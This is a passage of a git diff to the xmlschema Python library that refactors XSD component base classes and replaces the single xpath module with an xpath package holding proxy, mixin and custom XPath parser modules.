None: return self._target_namespace = self.elem.attrib['targetNamespace'].strip() + if self._target_namespace == XMLNS_NAMESPACE: + # https://www.w3.org/TR/xmlschema11-1/#sec-nss-special + msg = _(f"The namespace {XMLNS_NAMESPACE} cannot be used as 'targetNamespace'") + raise XMLSchemaValueError(msg) + if 'name' not in self.elem.attrib: - self.parse_error("attribute 'name' must be present when " - "'targetNamespace' attribute is provided") + msg = _("attribute 'name' must be present when " + "'targetNamespace' attribute is provided") + self.parse_error(msg) if 'form' in self.elem.attrib: - self.parse_error("attribute 'form' must be absent when " - "'targetNamespace' attribute is provided") + msg = _("attribute 'form' must be absent when " + "'targetNamespace' attribute is provided") + self.parse_error(msg) if self._target_namespace != self.schema.target_namespace: if self.parent is None: - self.parse_error("a global %s must have the same namespace as " - "its parent schema" % self.__class__.__name__) + msg = _("a global %s must have the same namespace as its parent schema") + self.parse_error(msg % self.__class__.__name__) xsd_type = self.get_parent_type() if xsd_type is None or xsd_type.parent is not None: pass elif xsd_type.derivation != 'restriction' or \ getattr(xsd_type.base_type, 'name', None) == XSD_ANY_TYPE: - self.parse_error("a declaration contained in a global complexType " - "must have the same namespace as its parent schema") + msg = _("a declaration contained in a global complexType " + "must have the same namespace as its parent schema") + self.parse_error(msg) if self.name is None: pass # pragma: no cover elif not self._target_namespace: self.name = local_name(self.name) else: - self.name = '{%s}%s' % (self._target_namespace, local_name(self.name)) + self.name = f'{{{self._target_namespace}}}{local_name(self.name)}' + + def _get_converter(self, obj: Any, kwargs: Dict[str, Any]) -> XMLSchemaConverter: + if 'source' not in kwargs: + if isinstance(obj, XMLResource): + kwargs['source'] = obj + elif is_etree_element(obj) or is_etree_document(obj): + kwargs['source'] = XMLResource(obj) + else: + kwargs['source'] = obj + + converter = kwargs['converter'] = self.schema.get_converter(**kwargs) + kwargs['namespaces'] = converter.namespaces + return converter @property def local_name(self) -> Optional[str]: @@ -487,6 +565,17 @@ def prefixed_name(self) -> Optional[str]: """The name of the component in prefixed format, or `None` if the name is `None`.""" return None if self.name is None else get_prefixed_qname(self.name, self.namespaces) + @property + def display_name(self) -> Optional[str]: + """ + The name of the component to display when you have to refer to it with a + simple unambiguous format. + """ + prefixed_name = self.prefixed_name + if prefixed_name is None: + return None + return self.name if ':' not in prefixed_name else prefixed_name + @property def id(self) -> Optional[str]: """The ``'id'`` attribute of the component tag, ``None`` if missing.""" @@ -499,7 +588,7 @@ def validation_attempted(self) -> str: def build(self) -> None: """ Builds components that are not fully parsed at initialization, like model groups - or internal local elements in model groups. Otherwise does nothing. + or internal local elements in model groups, otherwise does nothing. """ @property @@ -513,19 +602,12 @@ def is_matching(self, name: Optional[str], default_namespace: Optional[str] = No `False` otherwise. For XSD elements the matching is extended to substitutes. :param name: a local or fully-qualified name. - :param default_namespace: used if it's not None and not empty for completing \ + :param default_namespace: used by the XPath processor for completing \ the name argument in case it's a local name. :param kwargs: additional options that can be used by certain components. """ - if not name: - return self.name == name - elif name[0] == '{': - return self.qualified_name == name - elif not default_namespace: - return self.name == name or not self.qualified and self.local_name == name - else: - qname = '{%s}%s' % (default_namespace, name) - return self.qualified_name == qname or not self.qualified and self.local_name == name + return bool(self.name == name or default_namespace and name and + name[0] != '{' and self.name == f'{{{default_namespace}}}{name}') def match(self, name: Optional[str], default_namespace: Optional[str] = None, **kwargs: Any) -> Optional['XsdComponent']: @@ -552,7 +634,7 @@ def get_matching_item(self, mapping: MutableMapping[str, Any], # Try a match with other prefixes target_namespace = self.target_namespace - suffix = ':%s' % self.local_name + suffix = f':{self.local_name}' for k in filter(lambda x: x.endswith(suffix), mapping): prefix = k.split(':')[0] @@ -560,7 +642,7 @@ def get_matching_item(self, mapping: MutableMapping[str, Any], return mapping[k] # Match namespace declaration within value - ns_declaration = '{}:{}'.format(ns_prefix, prefix) + ns_declaration = f'{ns_prefix}:{prefix}' try: if mapping[k][ns_declaration] == target_namespace: return mapping[k] @@ -576,12 +658,13 @@ def get_global(self) -> 'XsdComponent': if self.parent is None: return self component = self.parent - while component is not self: # pragma: no cover + while component is not self: if component.parent is None: return component component = component.parent - else: - raise XMLSchemaValueError(f"parent circularity from {self}") # pragma: no cover + else: # pragma: no cover + msg = _("parent circularity from {}") + raise XMLSchemaValueError(msg.format(self)) def get_parent_type(self) -> Optional['XsdType']: """ @@ -600,8 +683,8 @@ def iter_components(self, xsd_classes: ComponentClassType = None) \ """ Creates an iterator for XSD subcomponents. - :param xsd_classes: provide a class or a tuple of classes to iterates over only a \ - specific classes of components. + :param xsd_classes: provide a class or a tuple of classes to iterate \ + over only a specific classes of components. """ if xsd_classes is None or isinstance(self, xsd_classes): yield self @@ -609,11 +692,12 @@ def iter_components(self, xsd_classes: ComponentClassType = None) \ def iter_ancestors(self, xsd_classes: ComponentClassType = None)\ -> Iterator['XsdComponent']: """ - Creates an iterator for XSD ancestor components, schema excluded. Stops when the component - is global or if the ancestor is not an instance of the specified class/classes. + Creates an iterator for XSD ancestor components, schema excluded. + Stops when the component is global or if the ancestor is not an + instance of the specified class/classes. - :param xsd_classes: provide a class or a tuple of classes to iterates over only a \ - specific classes of components. + :param xsd_classes: provide a class or a tuple of classes to iterate \ + over only a specific classes of components. """ ancestor = self while True: @@ -660,11 +744,24 @@ class XsdAnnotation(XsdComponent): annotation = None + def __init__(self, elem: ElementType, + schema: SchemaType, + parent: Optional[XsdComponent] = None, + parent_elem: Optional[ElementType] = None) -> None: + + super().__init__(elem, schema, parent) + if parent_elem is not None: + self.parent_elem = parent_elem + elif parent is not None: + self.parent_elem = parent.elem + else: + self.parent_elem = schema.source.root + def __repr__(self) -> str: return '%s(%r)' % (self.__class__.__name__, str(self)[:40]) def __str__(self) -> str: - return '\n'.join(elementpath.select(self.elem, '*/fn:string()')) + return '\n'.join(select(self.elem, '*/fn:string()')) @property def built(self) -> bool: @@ -713,24 +810,7 @@ def root_type(self) -> BaseXsdType: is the primitive type. For a list is the primitive type of the item. For a union is the base union type. For a complex type is xs:anyType. """ - if getattr(self, 'attributes', None): - return cast('XsdComplexType', self.maps.types[XSD_ANY_TYPE]) - elif self.base_type is None: - if self.is_simple(): - return cast('XsdSimpleType', self) - return cast('XsdComplexType', self.maps.types[XSD_ANY_TYPE]) - - primitive_type: BaseXsdType - try: - if self.base_type.is_simple(): - primitive_type = self.base_type.primitive_type # type: ignore[union-attr] - else: - primitive_type = self.base_type.content.primitive_type # type: ignore[union-attr] - except AttributeError: - # The type has complex or XsdList content - return self.base_type.root_type - else: - return primitive_type + raise NotImplementedError() @property def simple_type(self) -> Optional['XsdSimpleType']: @@ -758,6 +838,7 @@ def is_simple() -> bool: @staticmethod def is_complex() -> bool: """Returns `True` if the instance is a complexType, `False` otherwise.""" + raise NotImplementedError() def is_atomic(self) -> bool: """Returns `True` if the instance is an atomic simpleType, `False` otherwise.""" @@ -834,7 +915,7 @@ def is_blocked(self, xsd_element: 'XsdElement') -> bool: if self is xsd_type: return False - block = ('%s %s' % (xsd_element.block, xsd_type.block)).strip() + block = f'{xsd_element.block} {xsd_type.block}'.strip() if not block: return False @@ -842,9 +923,7 @@ def is_blocked(self, xsd_element: 'XsdElement') -> bool: return any(self.is_derived(xsd_type, derivation) for derivation in _block) def is_dynamic_consistent(self, other: Any) -> bool: - return other.name == XSD_ANY_TYPE or self.is_derived(other) or \ - hasattr(other, 'member_types') and \ - any(self.is_derived(mt) for mt in other.member_types) # pragma: no cover + raise NotImplementedError() def is_key(self) -> bool: return self.name == XSD_ID or self.is_derived(self.maps.types[XSD_ID]) @@ -858,6 +937,9 @@ def is_notation(self) -> bool: def is_decimal(self) -> bool: return self.name == XSD_DECIMAL or self.is_derived(self.maps.types[XSD_DECIMAL]) + def is_boolean(self) -> bool: + return self.name == XSD_BOOLEAN or self.is_derived(self.maps.types[XSD_BOOLEAN]) + def text_decode(self, text: str) -> Any: raise NotImplementedError() @@ -888,8 +970,8 @@ def validate(self, obj: ST, validations on XML data. The provided function is called for each traversed \ element, with the XML element as 1st argument and the corresponding XSD \ element as 2nd argument. It can be also a generator function and has to \ - raise/yield :exc:`XMLSchemaValidationError` exceptions. - :raises: :exc:`XMLSchemaValidationError` if the XML data instance is invalid. + raise/yield :exc:`xmlschema.XMLSchemaValidationError` exceptions. + :raises: :exc:`xmlschema.XMLSchemaValidationError` if the XML data instance is invalid. """ for error in self.iter_errors(obj, use_defaults, namespaces, max_depth, extra_validator): @@ -947,7 +1029,7 @@ def decode(self, obj: ST, validation: str = 'strict', **kwargs: Any) -> DecodeTy a simple data type object otherwise. If *validation* argument is 'lax' a 2-items \ tuple is returned, where the first item is the decoded object and the second item \ is a list containing the errors. - :raises: :exc:`XMLSchemaValidationError` if the object is not decodable by \ + :raises: :exc:`xmlschema.XMLSchemaValidationError` if the object is not decodable by \ the XSD component, or also if it's invalid when ``validation='strict'`` is provided. """ check_validation_mode(validation) @@ -975,8 +1057,8 @@ def encode(self, obj: Any, validation: str = 'strict', **kwargs: Any) -> EncodeT a string if it's simple type datum. If *validation* argument is 'lax' a 2-items \ tuple is returned, where the first item is the encoded object and the second item \ is a list containing the errors. - :raises: :exc:`XMLSchemaValidationError` if the object is not encodable by the XSD \ - component, or also if it's invalid when ``validation='strict'`` is provided. + :raises: :exc:`xmlschema.XMLSchemaValidationError` if the object is not encodable by \ + the XSD component, or also if it's invalid when ``validation='strict'`` is provided. """ check_validation_mode(validation) result, errors = None, [] @@ -996,7 +1078,7 @@ def iter_decode(self, obj: ST, validation: str = 'lax', **kwargs: Any) \ Creates an iterator for decoding an XML source to a Python object. :param obj: the XML data. - :param validation: the validation mode. Can be 'lax', 'strict' or 'skip. + :param validation: the validation mode. Can be 'lax', 'strict' or 'skip'. :param kwargs: keyword arguments for the decoder API. :return: Yields a decoded object, eventually preceded by a sequence of \ validation or decoding errors. diff --git a/xmlschema/xpath.py b/xmlschema/xpath.py deleted file mode 100644 index 5a09594..0000000 --- a/xmlschema/xpath.py +++ /dev/null @@ -1,380 +0,0 @@ -# -# Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). -# All rights reserved. -# This file is distributed under the terms of the MIT License. -# See the file 'LICENSE' in the root directory of the present -# distribution, or http://opensource.org/licenses/MIT. -# -# @author Davide Brunato <brunato@sissa.it> -# -""" -This module defines a proxy class and a mixin class for enabling XPath on schemas. -""" -import sys -from abc import abstractmethod -from typing import cast, overload, Any, Dict, Iterator, List, Optional, \ - Sequence, Set, TypeVar, Union -import re - -from elementpath import TypedElement, XPath2Parser, \ - XPathSchemaContext, AbstractSchemaProxy, protocols - -from .exceptions import XMLSchemaValueError, XMLSchemaTypeError -from .names import XSD_NAMESPACE -from .aliases import NamespacesType, SchemaType, BaseXsdType, XPathElementType -from .helpers import get_qname, local_name, get_prefixed_qname - -if sys.version_info < (3, 8): - XMLSchemaProtocol = SchemaType - ElementProtocol = XPathElementType - XsdTypeProtocol = BaseXsdType -else: - from typing import runtime_checkable, Protocol - - XsdTypeProtocol = protocols.XsdTypeProtocol - - class XMLSchemaProtocol(protocols.XMLSchemaProtocol, Protocol): - attributes: Dict[str, Any] - - @runtime_checkable - class ElementProtocol(protocols.ElementProtocol, Protocol): - schema: XMLSchemaProtocol - attributes: Dict[str, Any] - - -_REGEX_TAG_POSITION = re.compile(r'\b\[\d+]') - - -def iter_schema_nodes(root: Union[XMLSchemaProtocol, ElementProtocol], with_root: bool = True) \ - -> Iterator[Union[XMLSchemaProtocol, ElementProtocol]]: - """ - Iteration function for schema nodes. It doesn't yield text nodes, - that are always `None` for schema elements, and detects visited - element in order to skip already visited nodes. - - :param root: schema or schema element. - :param with_root: if `True` yields initial element. - """ - if isinstance(root, TypedElement): - root = cast(ElementProtocol, root.elem) - - nodes = {root} - if with_root: - yield root - - iterators: List[Any] = [] - children: Iterator[Any] = iter(root) - - while True: - try: - child = next(children) - except StopIteration: - try: - children = iterators.pop() - except IndexError: - return - else: - if child in nodes: - continue - elif child.ref is not None: - nodes.add(child) - yield child - if child.ref not in nodes: - nodes.add(child.ref) - yield child.ref - iterators.append(children) - children = iter(child.ref) - else: - nodes.add(child) - yield child - iterators.append(children) - children = iter(child) - - -class XMLSchemaContext(XPathSchemaContext): - """XPath dynamic schema context for the *xmlschema* library.""" - _iter_nodes = staticmethod(iter_schema_nodes) - - -class XMLSchemaProxy(AbstractSchemaProxy): - """XPath schema proxy for the *xmlschema* library.""" - _schema: SchemaType # type: ignore[assignment] - - def __init__(self, schema: Optional[XMLSchemaProtocol] = None, - base_element: Optional[ElementProtocol] = None) -> None: - - if schema is None: - from xmlschema import XMLSchema10 - schema = cast(XMLSchemaProtocol, getattr(XMLSchema10, 'meta_schema', None)) - - super(XMLSchemaProxy, self).__init__(schema, base_element) - - if base_element is not None: - try: - if base_element.schema is not schema: - raise XMLSchemaValueError("%r is not an element of %r" % (base_element, schema)) - except AttributeError: - raise XMLSchemaTypeError("%r is not an XsdElement" % base_element) - - def bind_parser(self, parser: XPath2Parser) -> None: - parser.schema = self - parser.symbol_table = dict(parser.__class__.symbol_table) - - with self._schema.lock: - if self._schema.xpath_tokens is None: - self._schema.xpath_tokens = { - xsd_type.name: parser.schema_constructor(xsd_type.name) - for xsd_type in self.iter_atomic_types() if xsd_type.name - } - - parser.symbol_table.update(self._schema.xpath_tokens) - - def get_context(self) -> XMLSchemaContext: - return XMLSchemaContext( - root=self._schema, # type: ignore[arg-type] - namespaces=dict(self._schema.namespaces), - item=self._base_element - ) - - def is_instance(self, obj: Any, type_qname: str) -> bool: - # FIXME: use elementpath.datatypes for checking atomic datatypes - xsd_type = self._schema.maps.types[type_qname] - if isinstance(xsd_type, tuple): - from .validators import XMLSchemaNotBuiltError - raise XMLSchemaNotBuiltError(xsd_type[1], f"XSD type {type_qname} is not built") - - try: - xsd_type.encode(obj) - except ValueError: - return False - else: - return True - - def cast_as(self, obj: Any, type_qname: str) -> Any: - xsd_type = self._schema.maps.types[type_qname] - if isinstance(xsd_type, tuple): - from .validators import XMLSchemaNotBuiltError - raise XMLSchemaNotBuiltError(xsd_type[1], f"XSD type {type_qname} is not built") - return xsd_type.decode(obj) - - def iter_atomic_types(self) -> Iterator[XsdTypeProtocol]: - for xsd_type in self._schema.maps.types.values(): - if not isinstance(xsd_type, tuple) and \ - xsd_type.target_namespace != XSD_NAMESPACE and \ - hasattr(xsd_type, 'primitive_type'): - yield cast(XsdTypeProtocol, xsd_type) - - def get_primitive_type(self, xsd_type: XsdTypeProtocol) -> XsdTypeProtocol: - primitive_type = cast(BaseXsdType, xsd_type).root_type - return cast(XsdTypeProtocol, primitive_type) - - -E = TypeVar('E', bound='ElementPathMixin[Any]') - - -class ElementPathMixin(Sequence[E]): - """ - Mixin abstract class for enabling ElementTree and XPath 2.0 API on XSD components. - - :cvar text: the Element text, for compatibility with the ElementTree API. - :cvar tail: the Element tail, for compatibility with the ElementTree API. - """ - text: Optional[str] = None - tail: Optional[str] = None - name: Optional[str] = None - attributes: Any = {} - namespaces: Any = {} - xpath_default_namespace = '' - - @abstractmethod - def __iter__(self) -> Iterator[E]: - raise NotImplementedError - - @overload - def __getitem__(self, i: int) -> E: ... - - @overload - def __getitem__(self, s: slice) -> Sequence[E]: ... - - def __getitem__(self, i: Union[int, slice]) -> Union[E, Sequence[E]]: - try: - return [e for e in self][i] - except IndexError: - raise IndexError('child index out of range') - - def __reversed__(self) -> Iterator[E]: - return reversed([e for e in self]) - - def __len__(self) -> int: - return len([e for e in self]) - - @property - def tag(self) -> str: - """Alias of the *name* attribute. For compatibility with the ElementTree API.""" - return self.name or '' - - @property - def attrib(self) -> Any: - """Returns the Element attributes. For compatibility with the ElementTree API.""" - return self.attributes - - def get(self, key: str, default: Any = None) -> Any: - """Gets an Element attribute. For compatibility with the ElementTree API.""" - return self.attributes.get(key, default) - - @property - def xpath_proxy(self) -> XMLSchemaProxy: - """Returns an XPath proxy instance bound with the schema.""" - raise NotImplementedError - - def _get_xpath_namespaces(self, namespaces: Optional[NamespacesType] = None) \ - -> Dict[str, str]: - """ - Returns a dictionary with namespaces for XPath selection. - - :param namespaces: an optional map from namespace prefix to namespace URI. \ - If this argument is not provided the schema's namespaces are used. - """ - if namespaces is None: - namespaces = {k: v for k, v in self.namespaces.items() if k} - namespaces[''] = self.xpath_default_namespace - elif '' not in namespaces: - namespaces[''] = self.xpath_default_namespace - - xpath_namespaces: Dict[str, str] = XPath2Parser.DEFAULT_NAMESPACES.copy() - xpath_namespaces.update(namespaces) - return xpath_namespaces - - def is_matching(self, name: Optional[str], default_namespace: Optional[str] = None) -> bool: - if not name or name[0] == '{' or not default_namespace: - return self.name == name - else: - return self.name == '{%s}%s' % (default_namespace, name) - - def find(self, path: str, namespaces: Optional[NamespacesType] = None) -> Optional[E]: - """ - Finds the first XSD subelement matching the path. - - :param path: an XPath expression that considers the XSD component as the root element. - :param namespaces: an optional mapping from namespace prefix to namespace URI. - :return: the first matching XSD subelement or ``None`` if there is no match. - """ - path = _REGEX_TAG_POSITION.sub('', path.strip()) # Strips tags positions from path - namespaces = self._get_xpath_namespaces(namespaces) - parser = XPath2Parser(namespaces, strict=False) - context = XMLSchemaContext(self) # type: ignore[arg-type] - - return cast(Optional[E], next(parser.parse(path).select_results(context), None)) - - def findall(self, path: str, namespaces: Optional[NamespacesType] = None) -> List[E]: - """ - Finds all XSD subelements matching the path. - - :param path: an XPath expression that considers the XSD component as the root element. - :param namespaces: an optional mapping from namespace prefix to full name. - :return: a list containing all matching XSD subelements in document order, an empty \ - list is returned if there is no match. - """ - path = _REGEX_TAG_POSITION.sub('', path.strip()) # Strips tags positions from path - namespaces = self._get_xpath_namespaces(namespaces) - parser = XPath2Parser(namespaces, strict=False) - context = XMLSchemaContext(self) # type: ignore[arg-type] - - return cast(List[E], parser.parse(path).get_results(context)) - - def iterfind(self, path: str, namespaces: Optional[NamespacesType] = None) -> Iterator[E]: - """ - Creates and iterator for all XSD subelements matching the path. - - :param path: an XPath expression that considers the XSD component as the root element. - :param namespaces: is an optional mapping from namespace prefix to full name. - :return: an iterable yielding all matching XSD subelements in document order. - """ - path = _REGEX_TAG_POSITION.sub('', path.strip()) # Strips tags positions from path - namespaces = self._get_xpath_namespaces(namespaces) - parser = XPath2Parser(namespaces, strict=False) - context = XMLSchemaContext(self) # type: ignore[arg-type] - - return cast(Iterator[E], parser.parse(path).select_results(context)) - - def iter(self, tag: Optional[str] = None) -> Iterator[E]: - """ - Creates an iterator for the XSD element and its subelements. If tag is not `None` or '*', - only XSD elements whose matches tag are returned from the iterator. Local elements are - expanded without repetitions. Element references are not expanded because the global - elements are not descendants of other elements. - """ - def safe_iter(elem: Any) -> Iterator[E]: - if tag is None or elem.is_matching(tag): - yield elem - for child in elem: - if child.parent is None: - yield from safe_iter(child) - elif getattr(child, 'ref', None) is not None: - if tag is None or child.is_matching(tag): - yield child - elif child not in local_elements: - local_elements.add(child) - yield from safe_iter(child) - - if tag == '*': - tag = None - local_elements: Set[E] = set() - return safe_iter(self) - - def iterchildren(self, tag: Optional[str] = None) -> Iterator[E]: - """ - Creates an iterator for the child elements of the XSD component. If *tag* is not `None` - or '*', only XSD elements whose name matches tag are returned from the iterator. - """ - if tag == '*': - tag = None - for child in self: - if tag is None or child.is_matching(tag): - yield child - - -class XPathElement(ElementPathMixin['XPathElement']): - """An element node for making XPath operations on schema types.""" - name: str - parent = None - - def __init__(self, name: str, xsd_type: BaseXsdType) -> None: - self.name = name - self.type = xsd_type - self.attributes = getattr(xsd_type, 'attributes', {}) - - def __iter__(self) -> Iterator['XPathElement']: - if not self.type.has_simple_content(): - yield from self.type.content.iter_elements() # type: ignore[union-attr] - - @property - def xpath_proxy(self) -> XMLSchemaProxy: - return XMLSchemaProxy( - cast(XMLSchemaProtocol, self.schema), - cast(ElementProtocol, self) - ) - - @property - def schema(self) -> SchemaType: - return self.type.schema - - @property - def target_namespace(self) -> str: - return self.type.schema.target_namespace - - @property - def namespaces(self) -> NamespacesType: - return self.type.schema.namespaces - - @property - def local_name(self) -> str: - return local_name(self.name) - - @property - def qualified_name(self) -> str: - return get_qname(self.target_namespace, self.name) - - @property - def prefixed_name(self) -> str: - return get_prefixed_qname(self.name, self.namespaces) diff --git a/xmlschema/xpath/__init__.py b/xmlschema/xpath/__init__.py new file mode 100644 index 0000000..aa2717e --- /dev/null +++ b/xmlschema/xpath/__init__.py @@ -0,0 +1,20 @@ +# +# Copyright (c), 2016-2024, SISSA (International School for Advanced Studies). +# All rights reserved. +# This file is distributed under the terms of the MIT License. +# See the file 'LICENSE' in the root directory of the present +# distribution, or http://opensource.org/licenses/MIT. +# +# @author Davide Brunato <brunato@sissa.it> +# +""" +This package defines a proxy class and a mixin class for enabling XPath on schemas, +and custom parser for identities and assertions. +""" +from .proxy import XMLSchemaProxy +from .mixin import ElementPathMixin, XPathElement +from .assertion_parser import XsdAssertionXPathParser +from .identity_parser import IdentityXPathParser + +__all__ = ['XMLSchemaProxy', 'ElementPathMixin', 'XPathElement', + 'XsdAssertionXPathParser', 'IdentityXPathParser'] diff --git a/xmlschema/xpath/assertion_parser.py b/xmlschema/xpath/assertion_parser.py new file mode 100644 index 0000000..a9063b0 --- /dev/null +++ b/xmlschema/xpath/assertion_parser.py @@ -0,0 +1,32 @@ +# +# Copyright (c), 2023, SISSA (International School for Advanced Studies). +# All rights reserved. +# This file is distributed under the terms of the MIT License. +# See the file 'LICENSE' in the root directory of the present +# distribution, or http://opensource.org/licenses/MIT. +# +# @author Davide Brunato <brunato@sissa.it> +# +from elementpath import XPath2Parser + + +class XsdAssertionXPathParser(XPath2Parser): + """Parser for XSD 1.1 assertion facets.""" + + +XsdAssertionXPathParser.unregister('last') +XsdAssertionXPathParser.unregister('position') + + +# noinspection PyUnusedLocal +@XsdAssertionXPathParser.method( + XsdAssertionXPathParser.function('last', nargs=0)) +def evaluate_last(self, context=None): # type: ignore[no-untyped-def] + raise self.missing_context("context item size is undefined") + + +# noinspection PyUnusedLocal +@XsdAssertionXPathParser.method( + XsdAssertionXPathParser.function('position', nargs=0)) +def evaluate_position(self, context=None): # type: ignore[no-untyped-def] + raise self.missing_context("context item position is undefined") diff --git a/xmlschema/xpath/identity_parser.py b/xmlschema/xpath/identity_parser.py new file mode 100644 index 0000000..7c14839 --- /dev/null +++ b/xmlschema/xpath/identity_parser.py @@ -0,0 +1,28 @@ +# +# Copyright (c), 2023, SISSA (International School for Advanced Studies). +# All rights reserved. +# This file is distributed under the terms of the MIT License. +# See the file 'LICENSE' in the root directory of the present +# distribution, or http://opensource.org/licenses/MIT. +# +# @author Davide Brunato <brunato@sissa.it> +# +from elementpath import XPath2Parser + +XSD_IDENTITY_XPATH_SYMBOLS = frozenset(( + 'processing-instruction', 'following-sibling', 'preceding-sibling', + 'ancestor-or-self', 'attribute', 'following', 'namespace', 'preceding', + 'ancestor', 'position', 'comment', 'parent', 'child', 'false', 'text', 'node', + 'true', 'last', 'not', 'and', 'mod', 'div', 'or', '..', '//', '!=', '<=', '>=', + '(', ')', '[', ']', '.', '@', ',', '/', '|', '*', '-', '=', '+', '<', '>', ':', + '(end)', '(unknown)', '(invalid)', '(name)', '(string)', '(float)', '(decimal)', + '(integer)', '::', '{', '}', +)) + + +class IdentityXPathParser(XPath2Parser): + symbol_table = { + k: v for k, v in XPath2Parser.symbol_table.items() + if k in XSD_IDENTITY_XPATH_SYMBOLS + } + SYMBOLS = XSD_IDENTITY_XPATH_SYMBOLS diff --git a/xmlschema/xpath/mixin.py b/xmlschema/xpath/mixin.py new file mode 100644 index 0000000..f6de158 --- /dev/null +++ b/xmlschema/xpath/mixin.py @@ -0,0 +1,251 @@ +# +# Copyright (c), 2016-2024, SISSA (International School for Advanced Studies). +# All rights reserved. +# This file is distributed under the terms of the MIT License. +# See the file 'LICENSE' in the root directory of the present +# distribution, or http://opensource.org/licenses/MIT. +# +# @author Davide Brunato <brunato@sissa.it> +# +from abc import abstractmethod +from typing import cast, overload, Any, Dict, Iterator, List, Optional, \ + Sequence, Set, TypeVar, Union, TYPE_CHECKING +import re + +from elementpath import XPath2Parser, XPathSchemaContext, LazyElementNode, SchemaElementNode +from elementpath.protocols import XsdElementProtocol + +from ..aliases import NamespacesType, SchemaType, BaseXsdType +from ..helpers import get_qname, local_name, get_prefixed_qname +from .proxy import XMLSchemaProxy + +if TYPE_CHECKING: + from ..validators import XsdGlobals + +_REGEX_TAG_POSITION = re.compile(r'\b\[\d+]') + +E_co = TypeVar('E_co', covariant=True, bound='ElementPathMixin[Any]') + + +class ElementPathMixin(Sequence[E_co]): + """ + Mixin abstract class for enabling ElementTree and XPath 2.0 API on XSD components. + + :cvar text: the Element text, for compatibility with the ElementTree API. + :cvar tail: the Element tail, for compatibility with the ElementTree API. + """ + text: Optional[str] = None + tail: Optional[str] = None + name: Optional[str] = None + attributes: Any = {} + namespaces: Any = {} + xpath_default_namespace = '' + _xpath_node: Optional[Union[SchemaElementNode, LazyElementNode]] = None + + @abstractmethod + def __iter__(self) -> Iterator[E_co]: + raise NotImplementedError + + @overload + def __getitem__(self, i: int) -> E_co: ... # pragma: no cover + + @overload + def __getitem__(self, s: slice) -> Sequence[E_co]: ... # pragma: no cover + + def __getitem__(self, i: Union[int, slice]) -> Union[E_co, Sequence[E_co]]: + try: + return [e for e in self][i] + except IndexError: + raise IndexError('child index out of range') + + def __reversed__(self) -> Iterator[E_co]: + return reversed([e for e in self]) + + def __len__(self) -> int: + return len([e for e in self]) + + @property + def tag(self) -> str: + """Alias of the *name* attribute. For compatibility with the ElementTree API.""" + return self.name or '' + + @property + def attrib(self) -> Any: + """Returns the Element attributes. For compatibility with the ElementTree API.""" + return self.attributes + + def get(self, key: str, default: Any = None) -> Any: + """Gets an Element attribute. For compatibility with the ElementTree API.""" + return self.attributes.get(key, default) + + @property + def xpath_proxy(self) -> XMLSchemaProxy: + """Returns an XPath proxy instance bound with the schema.""" + raise NotImplementedError + + @property + def xpath_node(self) -> Union[SchemaElementNode, LazyElementNode]: + """Returns an XPath node for applying selectors on XSD schema/component.""" + raise NotImplementedError + + def _get_xpath_namespaces(self, namespaces: Optional[NamespacesType] = None) \ + -> Dict[str, str]: + """ + Returns a dictionary with namespaces for XPath selection. + + :param namespaces: an optional map from namespace prefix to namespace URI. \ + If this argument is not provided the schema's namespaces are used. + """ + xpath_namespaces: Dict[str, str] = XPath2Parser.DEFAULT_NAMESPACES.copy() + if namespaces is None: + xpath_namespaces.update(self.namespaces) + else: + xpath_namespaces.update(namespaces) + return xpath_namespaces + + def is_matching(self, name: Optional[str], default_namespace: Optional[str] = None) -> bool: + if not name or name[0] == '{' or not default_namespace: + return self.name == name + else: + return self.name == f'{{{default_namespace}}}{name}' + + def find(self, path: str, namespaces: Optional[NamespacesType] = None) -> Optional[E_co]: + """ + Finds the first XSD subelement matching the path. + + :param path: an XPath expression that considers the XSD component as the root element. + :param namespaces: an optional mapping from namespace prefix to namespace URI. + :return: the first matching XSD subelement or ``None`` if there is no match. + """ + path = _REGEX_TAG_POSITION.sub('', path.strip()) # Strips tags positions from path + namespaces = self._get_xpath_namespaces(namespaces) + parser = XPath2Parser(namespaces, strict=False) + context = XPathSchemaContext(self.xpath_node) + + return cast(Optional[E_co], next(parser.parse(path).select_results(context), None)) + + def findall(self, path: str, namespaces: Optional[NamespacesType] = None) -> List[E_co]: + """ + Finds all XSD subelements matching the path. + + :param path: an XPath expression that considers the XSD component as the root element. + :param namespaces: an optional mapping from namespace prefix to full name. + :return: a list containing all matching XSD subelements in document order, an empty \ + list is returned if there is no match. + """ + path = _REGEX_TAG_POSITION.sub('', path.strip()) # Strip tags positions from path + namespaces = self._get_xpath_namespaces(namespaces) + parser = XPath2Parser(namespaces, strict=False) + context = XPathSchemaContext(self.xpath_node) + + return cast(List[E_co], parser.parse(path).get_results(context)) + + def iterfind(self, path: str, namespaces: Optional[NamespacesType] = None) -> Iterator[E_co]: + """ + Creates and iterator for all XSD subelements matching the path. + + :param path: an XPath expression that considers the XSD component as the root element. + :param namespaces: is an optional mapping from namespace prefix to full name. + :return: an iterable yielding all matching XSD subelements in document order. + """ + path = _REGEX_TAG_POSITION.sub('', path.strip()) # Strip tags positions from path + namespaces = self._get_xpath_namespaces(namespaces) + parser = XPath2Parser(namespaces, strict=False) + context = XPathSchemaContext(self.xpath_node) + + return cast(Iterator[E_co], parser.parse(path).select_results(context)) + + def iter(self, tag: Optional[str] = None) -> Iterator[E_co]: + """ + Creates an iterator for the XSD element and its subelements. If tag is not `None` or '*', + only XSD elements whose matches tag are returned from the iterator. Local elements are + expanded without repetitions. Element references are not expanded because the global + elements are not descendants of other elements. + """ + def safe_iter(elem: Any) -> Iterator[E_co]: + if tag is None or elem.is_matching(tag): + yield elem + for child in elem: + if child.parent is None: + yield from safe_iter(child) + elif getattr(child, 'ref', None) is not None: + if tag is None or child.is_matching(tag): + yield child + elif child not in local_elements: + local_elements.add(child) + yield from safe_iter(child) + + if tag == '*': + tag = None + local_elements: Set[E_co] = set() + return safe_iter(self) + + def iterchildren(self, tag: Optional[str] = None) -> Iterator[E_co]: + """ + Creates an iterator for the child elements of the XSD component. If *tag* is not `None` + or '*', only XSD elements whose name matches tag are returned from the iterator. + """ + if tag == '*': + tag = None + for child in self: + if tag is None or child.is_matching(tag): + yield child + + +class XPathElement(ElementPathMixin['XPathElement']): + """An element node for making XPath operations on schema types.""" + name: str + ref = None + parent = None + _xpath_node: Optional[LazyElementNode] + + def __init__(self, name: str, xsd_type: BaseXsdType) -> None: + self.name = name + self.type = xsd_type + self.attributes = getattr(xsd_type, 'attributes', {}) + + def __iter__(self) -> Iterator['XPathElement']: + if not self.type.has_simple_content(): + yield from self.type.content.iter_elements() # type: ignore[union-attr,misc] + + @property + def xsd_version(self) -> str: + return 